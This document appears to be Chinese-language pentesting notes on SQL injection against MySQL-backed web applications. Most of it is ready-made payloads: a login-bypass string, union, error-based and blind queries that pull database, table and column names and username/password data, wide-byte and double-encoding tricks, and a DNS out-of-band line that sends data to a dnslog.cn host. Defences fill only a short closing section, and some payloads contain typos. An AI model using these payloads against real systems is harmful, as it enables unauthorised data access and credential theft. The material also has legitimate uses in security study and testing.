端口:3306
一、SQL注入产生原因
1、不当的类型处理
2、不安全的数据库配置
3、不合理的查询集处理
4、不当的错误处理
5、转义字符处理不合适
6、多个提交处理不当
二、SQL注入关键条件
1、用户能控制输入的内容
2、Web应用能把用户输入的内容带入到数据库中执行
SQL注入分类
分类 | 说明 |
---|---|
根据请求方式分类 (判断注入工具:Burpsuite等) | GET方式请求注入 POST方式请求注入 |
根据注入点参数分类 (判断手法:’、”、\) | 字符型注入 整数型注入 搜索型注入(%’and ‘%’=’ 闭合%) |
根据SQL注入点反馈类型分类(重点) (判断注入payload) | union类型 基于错误显示 布尔类型 基于时间 其他类型 |
根据Web应用的数据库类型分类 (判断注入语句) | MySQL SQLServer Oracle Access |
基于反馈类型分类注入流程
方式 | 选择条件 |
---|---|
union联合查询 | 有显示位 |
报错注入 | mysql_error调试未删除,控制报错信息 |
bool盲注 | 页面没显示位、不报错,只能通过页面是否正常来判断,通常为登录页面 |
时间延时盲注 | 页面没显示位、不报错,页面都显示正常,只能通过页面响应时间判断 |
万能密码
admin' or 1='1
语境
select * from name = 'admin' or 1='1' and pass='';
关键:
使用or进行逻辑判断,构造true语句,使得整个判断语句为true
三、手工注入流程
1、判断换是否有注入漏洞,识别注入点类型
2、获取数据库中的信息
获取数据库基本信息(数据库版本、数据库类型、查询列数等)
获取数据库库名
获取表名
获取列名
获取用户数据
3、破解加密数据(数据解密)
4、提升权限(配合其他漏洞)
5、内网渗透(配合其他漏洞)
四、详细过程
union联合查询
1、判断是否存在注入漏洞
(需要结合数据情景,判断可能使用的sql语句)
找与数据库交互的位置,判断动态参数,需要结合burpsuite抓包
1、参数后加 ' " \
(全加),判断页面是否异常(\必出异常,不用做后续判断)
2、若出现异常,则依次尝试修改判断字符,使页面返回正常。返回正常则为字符型注入。
>>若均未返回正常页面,则尝试2-1(若原数据为1)判断是否为整数型注入。(正常则为整数型注入)
3、使用使页面报错的字符,后加#(url中需url编码为%23);若正常则只有该截断字符,不正常继续判断其他截断字符。
>>再加)#;正常则含有括号,不正常则进行嵌套判断。
4、以上均没有,则判断特殊注入。二次编码注入、宽字节注入、时间延时盲注等(这些类型注入,使用单双信号页面无变化)。
2、判断数据库列数
order by + 数字
报错则用二分法继续判断,直至正常。精确到正常的临界数字,即为列数。
' order by 5#
修改2为-2,使默认查询语句结果为空,隐去;这样union select结果即可显示。
然后使用union select联合查,寻找显示位:
id = -2 union select 1,2,3,4;
3、数据库信息查询
操作 | 语句 |
---|---|
查库名 | -1 union select 1,2,database()-- a 推荐 -1 union select 1,2,(select group_concat(0x7e,(schema_name),0x7e) from information_schema.schemata)– a |
查表名 | -1 union select 1,2,(select group_concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='数据库名')-- a |
查列名 | -1 union select 1,2,(select group_concat(0x7e,(column_name),0x7e) from information_schema.columns where table_schema='数据库名' and table_name='表名')-- a |
查数据 | -1 union select 1,2,(select concat(0x7e,(uname,0x7e,pwd),0x7e) from dede_cms.dede_tb)-- a |
注意:
1、union select查询列数要与前面列数相同
2、concat()拼接多列结果,group_concat()拼接多行结果。
如
SELECT * FROM db_bbs.tb_user UNION SELECT 1,(SELECT group_concat(table_name,'|')FROM information_schema.`TABLES` WHERE TABLES_schema='db_bbs';),3,4;
3、可将查询内容去掉引号,转成16进制形式(前面加上0x)
4、查表时,建议使用database(),既能避免转义,还可以确定当前有效数据库
即
SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()
数据库常用函数
函数 | 说明 |
---|---|
version() | 数据库版本号 |
database() | 当前数据库 |
user() | 当前用户 |
current_user() | 当前用户名 |
system_user() | 系统用户名 |
@@datadir | 数据库路径 |
@@version_compile_os | 操作系统版本 |
常用函数 | 说明 |
---|---|
limit | 限制查询数量,下标从0开始 limit 0,1 从0开始查两个 |
length() | 计算数据长度 |
count() | 计算数据行数 |
mid(str,1,30) | 截取字符串,从1开始截取30位,紧跟要截取的部分,即数据库名、表名、字段名和数据名 |
substr(str,0,30) | 0为截取初始位,包含整个查询语句 |
ascii() | 转为ascii码 |
报错注入
1、相关函数
函数 | 语句 |
---|---|
updatexml(arg1,arg2,arg3) 查询符合条件的数据 XPATH路径报错 |
and updatexml(1,concat(0x5e,(select user()),0x5e),1) mysql5.1.5及以上版本,输出有32位长度限制 0x5e为^的16进制编码,用于绕过斜杠转义,下同 |
extractvalue(arg1,arg2) 同上,两个参数 XPATH路径报错 |
and extractvalue(1,concat(0x5e,(select user()),0x5e)) mysql5.1及以上版本,输出有32位长度限制 |
floor() 返回小于等于该值的最大整数(只返回整数部分) floor、count、group by函数冲突报错 |
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) mysql5.0及以上版本,user()可变,其他固定 |
name_const(name,value) 产生一个结果集合列 列名重复报错 |
and select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a mysql5.0及以下 |
exp() 以e为底的指数函数 整形溢出报错 | and exp(~(select * from (select user()) a)) mysql5.5.5及以上版本 |
几何函数报错(不满足要求就会报错) geometrycollection() multipoint() polygon() multipolygon() linestring() multilinestring() |
and multipoint((select * from (select * from (select * from (select version())a)b)c)) |
2、用法:
将对应user()等地方替换为要执行的sql语句即可
操作 | 语句 |
---|---|
查数据库名 | id=1' and updatexml(1,group_concat(0x7e,(select database()),0x7e),1)-- a 推荐 或 id=1' and updatexml(1,group_concat(0x7e,(select mid(group_concat(schema_name),1,30) from information_schema.schemata),0x7e),1)-- a |
查表名 | id=1' and updatexml(1,group_concat(0x7e,(select mid(group_concat(table_name),1,30) from information_schema.tables where table_schema='数据库'),0x7e),1)-- a |
查列名 | id=1' and updatexml(1,group_concat(0x7e,(select mid(group_concat(column_name),1,30) from information_schema.columns where table_schema='数据库名' and table_name='表名'),0x7e),1)-- a |
查数据 | id=1' and updatexml(1,group_concat(0x7e,(select mid(concat(username,0x7e,password),1,30) from '数据库名'.'表名'),0x7e),1)-- a |
SQL盲注
布尔盲注
条件匹配时返回数据,不匹配时无显示。需要对数据进行猜解(用ascii码进行匹配)
1、用法:
ascii码二分法
说明 | 语句 |
---|---|
先判断数据长度或个数 | and length((select database())) > 64 |
然后进行二分法匹配 | and ascii(mid((select database()),1,1)) >64 |
2、语句(省略二分法,直接用=号)
n均为前一句获取的长度值
操作 | 语句 |
---|---|
获取数据库长度 | and (length(database()))=8 注意:判断长度不需要转ascii码 |
获取数据库名 | and ascii((select mid(database(),1,1)))=115 -- a |
获取表长度 | and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=30 -- a |
获取表名 | and ascii((select mid(group_conca(table_name),1,1) from information_schema.tables where table_schema=database()))=100 -- a |
获取列长度 | and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名'))=30 -- a |
获取列名 | and ascii((select mid(group_concat(column_name),1,1) from information_schema.columns where table_schema=database() and table_name='表名'))=30 -- a |
获取数据长度 | and length((select group_concat(username) from database().'表名'))=30 -- a |
获取数据 | and ascii((select mid(concat(username,0x7e,password),1,1) from database().'表名'))=30 -- a |
时间延时盲注
(单双引号页面无变化)
基于sql盲注,为升级版本
使用’”%判断时,页面无任何变化,尝试判断是否存在时间盲注
1、判断:
' " \
'and sleep(3) %23
' and sleep(3))%23
…
方法同判断截断字符
2、用法:
函数 | 语句 |
---|---|
if | select if(arg1,arg2,arg3) arg1:判断条件 arg2:条件为真时执行的语句 arg3:条件为假时执行的语句 常用: and select if((length(database())>5),sleep(5),1) –a |
case when | select case when arg1 then arg2 else arg3 end; arg1:判断条件 arg2:条件为真时执行的语句 arg3:条件为假时执行的语句 常用: and select case when ascci(mid(version(),1,1))>64 then sleep(3) end – a |
3、语句如下(省略二分法,直接用=号)
操作 | 语句 |
---|---|
获取数据库长度 | and if((length(database()))=8),sleep(3),1)-- a 注意:判断长度不需要转ascii码 |
获取数据库名 | and if((ascii((select mid(database(),1,1)))=115),sleep(3),1) -- a |
获取表长度 | and if((length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=30),sleep(3),1) -- a |
获取表名 | and if((ascii((select mid(group_concat(table_name),1,1) from information_schema.tables where table_schema=database()))=100),sleep(3),1) -- a |
获取列长度 | and if((length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名'))=30),sleep(3),1) -- a |
获取列名 | and if((ascii((select mid(goup_concat(column_name),1,1) from information_schema.columns where table_schema=database() and table_name='表名'))=30),sleep(3),1) -- a |
获取数据长度 | and if((length((select group_concat(username) from database().'表名'))=30),sleep(3),1) -- a |
获取字段名 | and if((ascii((select mid(concat(username),1,1) from database().'表名'))=30),sleep(3),1) -- a |
注: sleep可用benchmark代替
benchmark(arg1,arg2)
arg1为执行次数,arg2为执行语句
即执行多少次指定语句,返回执行事件,次数500万次起步,基于cpu质量,延时不稳定
benchmark(5000000,md5(123)) 执行500万次MD5加密
select if(判断语句,benchmark(5000000,md5(123)),1)
五、其他注入类型
1、请求头注入
类型 | 说明 |
---|---|
User-Agent | 浏览器版本 |
X-Forwarded-For | 获取HTTP请求端的真实IP |
使用Header Editor工具修改请求头,在上述两个值后添加单双引号,保持开启状态即可
注意,这里的sql语句大概率为insert,所以可用注入为:
报错注入和bool盲注
2、内联注入
留言板界面若是存在注入,可用补齐insert语句参数法,
找到留言板的显示位,在显示位上进行sql注入。
这里难点在于插入位数未知、插入类型限制未知,所以位数需要逐个尝试,内容留空。
使用
不用注释,用截断代替,然后使用多个and/or连接
注:前面为true用and;前面为false用or
1、'firefox' and '
补齐
2、'firefox' and payload and '
3、宽字节注入
(单双引号页面无变化)
mysql语句执行时,现将数据转成16进制,再执行
GBK为两字节编码方式,编码范围为8140-FEFE(81为页数,40位行列)
ascii为单字节编码,编码范围为00-7F(斜杠的ascii码为5C)
当字节数小于81时,会被认为是ascii编码,将转码成ascii码形式;
当字节数在81-FE之间时,会被认为是gbk编码,会连同后一位一起以gbk形式编码。
形如abcd(ab为ascii转码的数据,cd为gbk转码的数据)
原本应解码成两个ascii数据(a、b)和一个gbk数据(cd)
但是若b的数据大于81,则会被认为是gbk编码的数据,会和c一起解码,
此时就解码成了两个ascii数据(a、d)和一个gbk编码数据(bc)
用法:
注意:通常出现在斜杠转义单双引号的网页
利用:构造?id=1%df’即可
%df可以为任何hex码在81-FE之间的数据
宽字节注入存在条件
PHP+Mysql+GBK
编码语句:
mysql_set_charset("gbk")
mysql_query("set names gbk")
转义语句:
addslashes('')
mysql_real_escape_string('')
上述四条语句组合中,除了
mysql_set_charset("gbk")+mysql_real_escape_string('')
组合,其他组合均存在宽字节注入
4、二次编码注入
(单双引号页面无变化)
注!先转义再解码造成注入,应先解码再转义
正确流程 | 错误流程(二次编码注入) |
---|---|
php自动进行一次url解码 网站二次解码 转义单双引号进行防护 写入数据库 | php自动解码 转义防护 网站二次解码 urldecode()、rawurldecode() 写入数据库 |
单引号二次url编码为:%2527
双引号二次url编码为:%2522
关键字二次编码:hex转码-前缀加%25(%的url编码)
5、堆叠注入
前提:存在sql注入
截断符后使用分号分割,后面注释,中间插入任意sql语句(多个语句用;分割)
堆叠注入存在场景
搭配 | 说明 |
---|---|
mssql+asp/php/jsp | 堆叠注入 |
mysql+php | |
mysql_connect()/mysql_query(“select $id”) | 不能堆叠注入 |
mysqli_connect()/mysqli_query(“select $id”) | 不能堆叠注入 |
mysqli_connect()/multi_query(“select $id”) | 堆叠注入 |
new PDO()/bindvalue(“select ?”) execute($id) | 不能注入 |
new PDO()/query(“select $id”) | 堆叠注入 |
6、二阶注入
存储在数据库汇总的数据,在使用时发生的注入
在注册用户或者发表文章等写入数据库操作时,加入注入语句,被转义存入数据库
当使用该数据时,被取出,这时注入语句生效
注意:遇到限制是数字类型或者关键字拦截,可进行十六进制编码
7、其他:
文件上传时,可通过文件名进行sql注入
六、DNS外带
前提:
Windows服务器,secure_file_priv为空(非NULL)
语句:
select load_file(concat("\\\\",version(),".1ndex.dnslog.cn\\x"));
七、sql注入防护/修复
修复 | 说明 |
---|---|
去掉单引号 | 现实场景常用单引号,去掉不合实际 |
转义单引号 | 对数字型无效(数字型不需要引号) 斜杠转义 addslashes()函数转义 php.ini配置文件转义(5.6以下版本开启magic_quotes_gpc = On) |
强制类型转换 | 针对数字型 intval() |
更改数据库连接方式 | POD连接数据库将变量转换成字符串,再写入数据库,无法拼接 |
文件读写
读写 | 语句 |
---|---|
读文件 | load_file(‘’) |
写文件 | into outfile 多行写入,使用单引号,自动添加换行 into dumpfile 单行写入,不转义 |